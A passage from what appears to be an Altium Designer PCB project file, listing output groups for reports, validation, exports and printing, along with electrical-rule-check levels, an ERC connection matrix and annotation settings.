Files\r\nOutputDocumentPath9=\r\nOutputVariantName9=\r\nOutputDefault9=0\r\nOutputType10=ODB\r\nOutputName10=ODB++ Files\r\nOutputDocumentPath10=\r\nOutputVariantName10=[No Variations]\r\nOutputDefault10=0\r\nOutputType11=Plane\r\nOutputName11=Power-Plane Prints\r\nOutputDocumentPath11=\r\nOutputVariantName11=\r\nOutputDefault11=0\r\nPageOptions11=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType12=Test Points\r\nOutputName12=Test Point Report\r\nOutputDocumentPath12=\r\nOutputVariantName12=\r\nOutputDefault12=0\r\n\r\n[OutputGroup6]\r\nName=Report Outputs\r\nDescription=\r\nTargetPrinter=Adobe PDF\r\nPrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1\r\nOutputType1=BOM_PartType\r\nOutputName1=Bill of Materials\r\nOutputDocumentPath1=\r\nOutputVariantName1=[No Variations]\r\nOutputDefault1=0\r\nPageOptions1=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType2=ComponentCrossReference\r\nOutputName2=Component Cross Reference Report\r\nOutputDocumentPath2=\r\nOutputVariantName2=[No Variations]\r\nOutputDefault2=0\r\nOutputType3=ReportHierarchy\r\nOutputName3=Report Project Hierarchy\r\nOutputDocumentPath3=\r\nOutputVariantName3=[No Variations]\r\nOutputDefault3=0\r\nOutputType4=Script\r\nOutputName4=Script Output\r\nOutputDocumentPath4=\r\nOutputVariantName4=[No Variations]\r\nOutputDefault4=0\r\nOutputType5=SimpleBOM\r\nOutputName5=Simple BOM\r\nOutputDocumentPath5=\r\nOutputVariantName5=[No Variations]\r\nOutputDefault5=0\r\nOutputType6=SinglePinNetReporter\r\nOutputName6=Report Single Pin Nets\r\nOutputDocumentPath6=\r\nOutputVariantName6=[No Variations]\r\nOutputDefault6=0\r\n\r\n[OutputGroup7]\r\nName=Other Outputs\r\nDescription=\r\nTargetPrinter=Adobe PDF\r\nPrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1\r\nOutputType1=Text Print\r\nOutputName1=Text Print\r\nOutputDocumentPath1=\r\nOutputVariantName1=\r\nOutputDefault1=0\r\nPageOptions1=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType2=Text Print\r\nOutputName2=Text Print\r\nOutputDocumentPath2=\r\nOutputVariantName2=\r\nOutputDefault2=0\r\nPageOptions2=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType3=Text Print\r\nOutputName3=Text Print\r\nOutputDocumentPath3=\r\nOutputVariantName3=\r\nOutputDefault3=0\r\nPageOptions3=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType4=Text Print\r\nOutputName4=Text Print\r\nOutputDocumentPath4=\r\nOutputVariantName4=\r\nOutputDefault4=0\r\nPageOptions4=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType5=Text Print\r\nOutputName5=Text Print\r\nOutputDocumentPath5=\r\nOutputVariantName5=\r\nOutputDefault5=0\r\nPageOptions5=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType6=Text Print\r\nOutputName6=Text Print\r\nOutputDocumentPath6=\r\nOutputVariantName6=\r\nOutputDefault6=0\r\nPageOptions6=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType7=Text Print\r\nOutputName7=Text Print\r\nOutputDocumentPath7=\r\nOutputVariantName7=\r\nOutputDefault7=0\r\nPageOptions7=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType8=Text Print\r\nOutputName8=Text Print\r\nOutputDocumentPath8=\r\nOutputVariantName8=\r\nOutputDefault8=0\r\nPageOptions8=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType9=Text Print\r\nOutputName9=Text Print\r\nOutputDocumentPath9=\r\nOutputVariantName9=\r\nOutputDefault9=0\r\nPageOptions9=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType10=Text Print\r\nOutputName10=Text Print\r\nOutputDocumentPath10=\r\nOutputVariantName10=\r\nOutputDefault10=0\r\nPageOptions10=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType11=Text Print\r\nOutputName11=Text Print\r\nOutputDocumentPath11=\r\nOutputVariantName11=\r\nOutputDefault11=0\r\nPageOptions11=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType12=Text Print\r\nOutputName12=Text Print\r\nOutputDocumentPath12=\r\nOutputVariantName12=\r\nOutputDefault12=0\r\nPageOptions12=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType13=Text Print\r\nOutputName13=Text Print\r\nOutputDocumentPath13=\r\nOutputVariantName13=\r\nOutputDefault13=0\r\nPageOptions13=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType14=Text Print\r\nOutputName14=Text Print\r\nOutputDocumentPath14=\r\nOutputVariantName14=\r\nOutputDefault14=0\r\nPageOptions14=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType15=Text Print\r\nOutputName15=Text Print\r\nOutputDocumentPath15=\r\nOutputVariantName15=\r\nOutputDefault15=0\r\nPageOptions15=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType16=Text Print\r\nOutputName16=Text Print\r\nOutputDocumentPath16=\r\nOutputVariantName16=\r\nOutputDefault16=0\r\nPageOptions16=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType17=Text Print\r\nOutputName17=Text Print\r\nOutputDocumentPath17=\r\nOutputVariantName17=\r\nOutputDefault17=0\r\nPageOptions17=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType18=Text Print\r\nOutputName18=Text Print\r\nOutputDocumentPath18=\r\nOutputVariantName18=\r\nOutputDefault18=0\r\nPageOptions18=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType19=Text Print\r\nOutputName19=Text Print\r\nOutputDocumentPath19=\r\nOutputVariantName19=\r\nOutputDefault19=0\r\nPageOptions19=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType20=Text Print\r\nOutputName20=Text Print\r\nOutputDocumentPath20=\r\nOutputVariantName20=\r\nOutputDefault20=0\r\nPageOptions20=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType21=Text Print\r\nOutputName21=Text Print\r\nOutputDocumentPath21=\r\nOutputVariantName21=\r\nOutputDefault21=0\r\nPageOptions21=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType22=Text Print\r\nOutputName22=Text Print\r\nOutputDocumentPath22=\r\nOutputVariantName22=\r\nOutputDefault22=0\r\nPageOptions22=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType23=Text Print\r\nOutputName23=Text Print\r\nOutputDocumentPath23=\r\nOutputVariantName23=\r\nOutputDefault23=0\r\nPageOptions23=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType24=Text Print\r\nOutputName24=Text Print\r\nOutputDocumentPath24=\r\nOutputVariantName24=\r\nOutputDefault24=0\r\nPageOptions24=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType25=Text Print\r\nOutputName25=Text Print\r\nOutputDocumentPath25=\r\nOutputVariantName25=\r\nOutputDefault25=0\r\nPageOptions25=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType26=Text Print\r\nOutputName26=Text Print\r\nOutputDocumentPath26=\r\nOutputVariantName26=\r\nOutputDefault26=0\r\nPageOptions26=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType27=Text Print\r\nOutputName27=Text Print\r\nOutputDocumentPath27=\r\nOutputVariantName27=\r\nOutputDefault27=0\r\nPageOptions27=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType28=Text Print\r\nOutputName28=Text Print\r\nOutputDocumentPath28=\r\nOutputVariantName28=\r\nOutputDefault28=0\r\nPageOptions28=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType29=Text Print\r\nOutputName29=Text Print\r\nOutputDocumentPath29=\r\nOutputVariantName29=\r\nOutputDefault29=0\r\nPageOptions29=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\n\r\n[OutputGroup8]\r\nName=Validation Outputs\r\nDescription=\r\nTargetPrinter=Adobe PDF\r\nPrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1\r\nOutputType1=BOM_Violations\r\nOutputName1=BOM Checks Report\r\nOutputDocumentPath1=\r\nOutputVariantName1=\r\nOutputDefault1=0\r\nOutputType2=Component states check\r\nOutputName2=Server's components states check\r\nOutputDocumentPath2=\r\nOutputVariantName2=\r\nOutputDefault2=0\r\nOutputType3=Configuration compliance\r\nOutputName3=Environment configuration compliance check\r\nOutputDocumentPath3=\r\nOutputVariantName3=\r\nOutputDefault3=0\r\nOutputType4=Design Rules Check\r\nOutputName4=Design Rules Check\r\nOutputDocumentPath4=\r\nOutputVariantName4=\r\nOutputDefault4=0\r\nPageOptions4=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType5=Differences Report\r\nOutputName5=Differences Report\r\nOutputDocumentPath5=\r\nOutputVariantName5=\r\nOutputDefault5=0\r\nPageOptions5=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType6=Electrical Rules Check\r\nOutputName6=Electrical Rules Check\r\nOutputDocumentPath6=\r\nOutputVariantName6=\r\nOutputDefault6=0\r\nPageOptions6=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1\r\nOutputType7=Footprint Comparison Report\r\nOutputName7=Footprint Comparison Report\r\nOutputDocumentPath7=\r\nOutputVariantName7=\r\nOutputDefault7=0\r\n\r\n[OutputGroup9]\r\nName=Export Outputs\r\nDescription=\r\nTargetPrinter=Adobe PDF\r\nPrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1\r\nOutputType1=AutoCAD dwg/dxf PCB\r\nOutputName1=AutoCAD dwg/dxf File PCB\r\nOutputDocumentPath1=\r\nOutputVariantName1=\r\nOutputDefault1=0\r\nOutputType2=AutoCAD dwg/dxf Schematic\r\nOutputName2=AutoCAD dwg/dxf File Schematic\r\nOutputDocumentPath2=\r\nOutputVariantName2=\r\nOutputDefault2=0\r\nOutputType3=ExportIDF\r\nOutputName3=Export IDF\r\nOutputDocumentPath3=\r\nOutputVariantName3=\r\nOutputDefault3=0\r\nOutputType4=ExportPARASOLID\r\nOutputName4=Export PARASOLID\r\nOutputDocumentPath4=\r\nOutputVariantName4=[No Variations]\r\nOutputDefault4=0\r\nOutputType5=ExportSTEP\r\nOutputName5=Export STEP\r\nOutputDocumentPath5=\r\nOutputVariantName5=[No Variations]\r\nOutputDefault5=0\r\nOutputType6=ExportVRML\r\nOutputName6=Export VRML\r\nOutputDocumentPath6=\r\nOutputVariantName6=[No Variations]\r\nOutputDefault6=0\r\nOutputType7=MBAExportPARASOLID\r\nOutputName7=Export PARASOLID\r\nOutputDocumentPath7=\r\nOutputVariantName7=\r\nOutputDefault7=0\r\nOutputType8=MBAExportSTEP\r\nOutputName8=Export STEP\r\nOutputDocumentPath8=\r\nOutputVariantName8=\r\nOutputDefault8=0\r\nOutputType9=Save As/Export PCB\r\nOutputName9=Save As/Export PCB\r\nOutputDocumentPath9=\r\nOutputVariantName9=\r\nOutputDefault9=0\r\nOutputType10=Save As/Export Schematic\r\nOutputName10=Save As/Export Schematic\r\nOutputDocumentPath10=\r\nOutputVariantName10=\r\nOutputDefault10=0\r\nOutputType11=Specctra Design PCB\r\nOutputName11=Specctra Design PCB\r\nOutputDocumentPath11=\r\nOutputVariantName11=\r\nOutputDefault11=0\r\n\r\n[OutputGroup10]\r\nName=PostProcess Outputs\r\nDescription=\r\nTargetPrinter=Adobe PDF\r\nPrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1\r\nOutputType1=Copy Files\r\nOutputName1=Copy Files\r\nOutputDocumentPath1=\r\nOutputVariantName1=\r\nOutputDefault1=0\r\n\r\n[Modification Levels]\r\nType1=1\r\nType2=1\r\nType3=1\r\nType4=1\r\nType5=1\r\nType6=1\r\nType7=1\r\nType8=1\r\nType9=1\r\nType10=1\r\nType11=1\r\nType12=1\r\nType13=1\r\nType14=1\r\nType15=1\r\nType16=1\r\nType17=1\r\nType18=1\r\nType19=1\r\nType20=1\r\nType21=1\r\nType22=1\r\nType23=1\r\nType24=1\r\nType25=1\r\nType26=1\r\nType27=1\r\nType28=1\r\nType29=1\r\nType30=1\r\nType31=1\r\nType32=1\r\nType33=1\r\nType34=1\r\nType35=1\r\nType36=1\r\nType37=1\r\nType38=1\r\nType39=1\r\nType40=1\r\nType41=1\r\nType42=1\r\nType43=1\r\nType44=1\r\nType45=1\r\nType46=1\r\nType47=1\r\nType48=1\r\nType49=1\r\nType50=1\r\nType51=1\r\nType52=1\r\nType53=1\r\nType54=1\r\nType55=1\r\nType56=1\r\nType57=1\r\nType58=1\r\nType59=1\r\nType60=1\r\nType61=1\r\nType62=1\r\nType63=1\r\nType64=1\r\nType65=1\r\nType66=1\r\nType67=1\r\nType68=1\r\nType69=1\r\nType70=1\r\nType71=1\r\nType72=1\r\nType73=1\r\nType74=1\r\nType75=1\r\nType76=1\r\nType77=1\r\nType78=1\r\nType79=1\r\nType80=1\r\nType81=1\r\nType82=1\r\nType83=1\r\nType84=1\r\nType85=1\r\nType86=1\r\nType87=1\r\nType88=1\r\nType89=1\r\nType90=1\r\nType91=1\r\nType92=1\r\nType93=1\r\nType94=1\r\nType95=1\r\nType96=1\r\nType97=1\r\nType98=1\r\nType99=1\r\nType100=1\r\nType101=1\r\nType102=1\r\nType103=1\r\nType104=1\r\nType105=1\r\nType106=1\r\nType107=1\r\nType108=1\r\nType109=1\r\nType110=1\r\nType111=1\r\nType112=1\r\nType113=1\r\nType114=1\r\nType115=1\r\nType116=1\r\nType117=1\r\n\r\n[Difference Levels]\r\nType1=1\r\nType2=1\r\nType3=1\r\nType4=1\r\nType5=1\r\nType6=1\r\nType7=1\r\nType8=1\r\nType9=1\r\nType10=1\r\nType11=1\r\nType12=1\r\nType13=1\r\nType14=1\r\nType15=1\r\nType16=1\r\nType17=1\r\nType18=1\r\nType19=1\r\nType20=1\r\nType21=1\r\nType22=1\r\nType23=1\r\nType24=1\r\nType25=1\r\nType26=1\r\nType27=1\r\nType28=1\r\nType29=1\r\nType30=1\r\nType31=1\r\nType32=1\r\nType33=1\r\nType34=1\r\nType35=1\r\nType36=1\r\nType37=1\r\nType38=1\r\nType39=1\r\nType40=1\r\nType41=1\r\nType42=1\r\nType43=1\r\nType44=1\r\nType45=1\r\nType46=1\r\nType47=1\r\nType48=1\r\nType49=1\r\nType50=1\r\nType51=1\r\nType52=1\r\nType53=1\r\nType54=1\r\nType55=1\r\nType56=1\r\nType57=1\r\nType58=1\r\nType59=1\r\nType60=1\r\nType61=1\r\nType62=1\r\nType63=1\r\nType64=1\r\nType65=1\r\nType66=1\r\n\r\n[Electrical Rules Check]\r\nType1=1\r\nType2=1\r\nType3=2\r\nType4=1\r\nType5=2\r\nType6=2\r\nType7=1\r\nType8=1\r\nType9=1\r\nType10=1\r\nType11=2\r\nType12=2\r\nType13=2\r\nType14=1\r\nType15=1\r\nType16=1\r\nType17=1\r\nType18=1\r\nType19=1\r\nType20=1\r\nType21=1\r\nType22=1\r\nType23=1\r\nType24=1\r\nType25=2\r\nType26=2\r\nType27=2\r\nType28=1\r\nType29=1\r\nType30=1\r\nType31=1\r\nType32=2\r\nType33=2\r\nType34=2\r\nType35=1\r\nType36=2\r\nType37=1\r\nType38=2\r\nType39=2\r\nType40=2\r\nType41=0\r\nType42=2\r\nType43=1\r\nType44=1\r\nType45=2\r\nType46=1\r\nType47=2\r\nType48=2\r\nType49=1\r\nType50=2\r\nType51=1\r\nType52=1\r\nType53=1\r\nType54=1\r\nType55=1\r\nType56=2\r\nType57=1\r\nType58=1\r\nType59=2\r\nType60=1\r\nType61=2\r\nType62=2\r\nType63=1\r\nType64=0\r\nType65=2\r\nType66=3\r\nType67=2\r\nType68=2\r\nType69=2\r\nType70=2\r\nType71=2\r\nType72=2\r\nType73=2\r\nType74=1\r\nType75=2\r\nType76=1\r\nType77=1\r\nType78=1\r\nType79=1\r\nType80=2\r\nType81=3\r\nType82=3\r\nType83=3\r\nType84=3\r\nType85=3\r\nType86=2\r\nType87=2\r\nType88=2\r\nType89=1\r\nType90=1\r\nType91=3\r\nType92=3\r\nType93=2\r\nType94=2\r\nType95=2\r\nType96=2\r\nType97=2\r\nType98=0\r\nType99=1\r\nType100=2\r\nType101=1\r\nType102=2\r\nType103=2\r\nType104=1\r\nType105=2\r\nType106=2\r\nType107=2\r\nType108=2\r\nType109=1\r\nType110=1\r\nType111=1\r\nType112=1\r\nType113=1\r\nType114=2\r\nType115=2\r\nType116=2\r\nType117=3\r\nType118=3\r\nType119=3\r\nMultiChannelAlternate=2\r\nAlternateItemFail=3\r\nType122=2\r\n\r\n[ERC Connection Matrix]\r\nL1=NNNNNNNNNNNWNNNWW\r\nL2=NNWNNNNWWWNWNWNWN\r\nL3=NWEENEEEENEWNEEWN\r\nL4=NNENNNWEENNWNENWN\r\nL5=NNNNNNNNNNNNNNNNN\r\nL6=NNENNNNEENNWNENWN\r\nL7=NNEWNNWEENNWNENWN\r\nL8=NWEENEENEEENNEENN\r\nL9=NWEENEEEENEWNEEWW\r\nL10=NWNNNNNENNEWNNEWN\r\nL11=NNENNNNEEENWNENWN\r\nL12=WWWWNWWNWWWNWWWNN\r\nL13=NNNNNNNNNNNWNNNWW\r\nL14=NWEENEEEENEWNEEWW\r\nL15=NNENNNNEEENWNENWW\r\nL16=WWWWNWWNWWWNWWWNW\r\nL17=WNNNNNNNWNNNWWWWN\r\n\r\n[Annotate]\r\nSortOrder=3\r\nSortLocation=0\r\nMatchParameter1=Comment\r\nMatchStrictly1=1\r\nMatchParameter2=Library 